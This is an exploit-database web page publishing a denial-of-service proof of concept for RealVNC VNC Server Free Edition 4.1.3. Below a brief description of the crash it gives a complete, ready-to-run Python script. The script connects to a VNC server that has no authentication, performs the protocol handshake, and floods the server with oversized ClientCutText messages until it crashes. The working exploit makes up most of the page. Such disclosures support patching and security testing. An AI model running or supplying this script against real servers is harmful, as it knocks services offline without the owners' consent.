[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

RealVNC VNC Server Free Edition 4.1.3 Denial of Service

Author
n/a
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12127
Category
dos / poc
Date add
04-05-2010
Platform
windows
=======================================================
RealVNC VNC Server Free Edition 4.1.3 Denial of Service
=======================================================

#==================================================================================================#
#                                                                                                  #
#  $$$$$$$\  $$\                     $$\                                     $$\        $$$$$$\    #
#  $$  __$$\ \__|                    $$ |                                    $$ |      $$  __$$\   #
#  $$ |  $$ |$$\  $$$$$$$\  $$$$$$\  $$$$$$$\   $$$$$$\  $$$$$$$\   $$$$$$\  $$ |      $$ /  $$ |  #
#  $$$$$$$\ |$$ |$$  _____|$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |      $$$$$$$$ |  #
#  $$  __$$\ $$ |\$$$$$$\  $$ /  $$ |$$ |  $$ |$$$$$$$$ |$$ |  $$ |$$ /  $$ |$$ |      $$  __$$ |  #
#  $$ |  $$ |$$ | \____$$\ $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ |  $$ |$$ |      $$ |  $$ |  #
#  $$$$$$$  |$$ |$$$$$$$  |$$$$$$$  |$$ |  $$ |\$$$$$$$\ $$ |  $$ |\$$$$$$  |$$ |      $$ |  $$ |  #
#  \_______/ \__|\_______/ $$  ____/ \__|  \__| \_______|\__|  \__| \______/ \__|      \__|  \__|  #
#                          $$ |                                                                    #
#                          $$ |                                         Plastics Make It Possible  #
#                          \__|                                                                    #
#                                                                                                  #
#==================================================================================================#
#                                                                                                  #
# Vulnerability............Denial-of-Service                                                       #
# Software.................RealVNC VNC Server Free Edition 4.1.3                                   #
# Download.................http://www.realvnc.com/products/free/4.1/download.html                  #

#==================================================================================================#
#                                                                                                  #
# ##Description##                                                                                  #
#                                                                                                  #
# Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the          #
# exception shown below. Note: while the vulnerability is present regardless of authentication,    #
# for the sake of simplicity this script only works on servers configured to run with no           #
# authentication.                                                                                  #
#                                                                                                  #
# winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not   #
# be written (0x00425BE4 -> FFFFFF00)                                                              #
#                                                                                                  #
#                                                                                                  #
# ##Proof of Concept##                                                                             #
import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
    try:
        while 1:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.settimeout(1.0)       
            
            print 'Connected'

            try:
                b = s.recv(8192)
                print 'ProtocolVersion Received'
                
                s.send(b)
                print 'ProtocolVersion Sent'            
                
                b = s.recv(8192)
                print 'Security Received'

                s.send('\x01')
                print 'Security Sent'
                
                # Recv SecurityResult
                b = s.recv(8192)
                print 'SecurityResult Received'

                if (len(b) == 4 and
                    b[0] == chr(0) and
                    b[1] == chr(0) and
                    b[2] == chr(0) and
                    b[3] == chr(0)):
                    print 'SecurityResult OK'
                else:
                    print 'SecurityResult Failed.\n\nThe server must be set '\
                          'to No Authentication for this to work, otherwise '\
                          'you \'ll need to write the necessary client side '\
                          'authentication code yourself.'
                    return           

                s.send('\x01')
                print 'ClientInit Sent'
                
                b = s.recv(8192)
                print 'ServerInit Received'

                text_len = 0xFFFFFF
                text_str = struct.pack('L', text_len) + '\xAA' * text_len
                
                while 1:
                    s.send('\x06\x00\x00\x00' + text_str)

                    print 'ClientCutText Sent'
                
            except Exception:
                print 'Connection closed'                
            
    except Exception:
        print 'Couldn\'t connect'

crash_vnc_server()




#  0day.today [2024-07-05]  #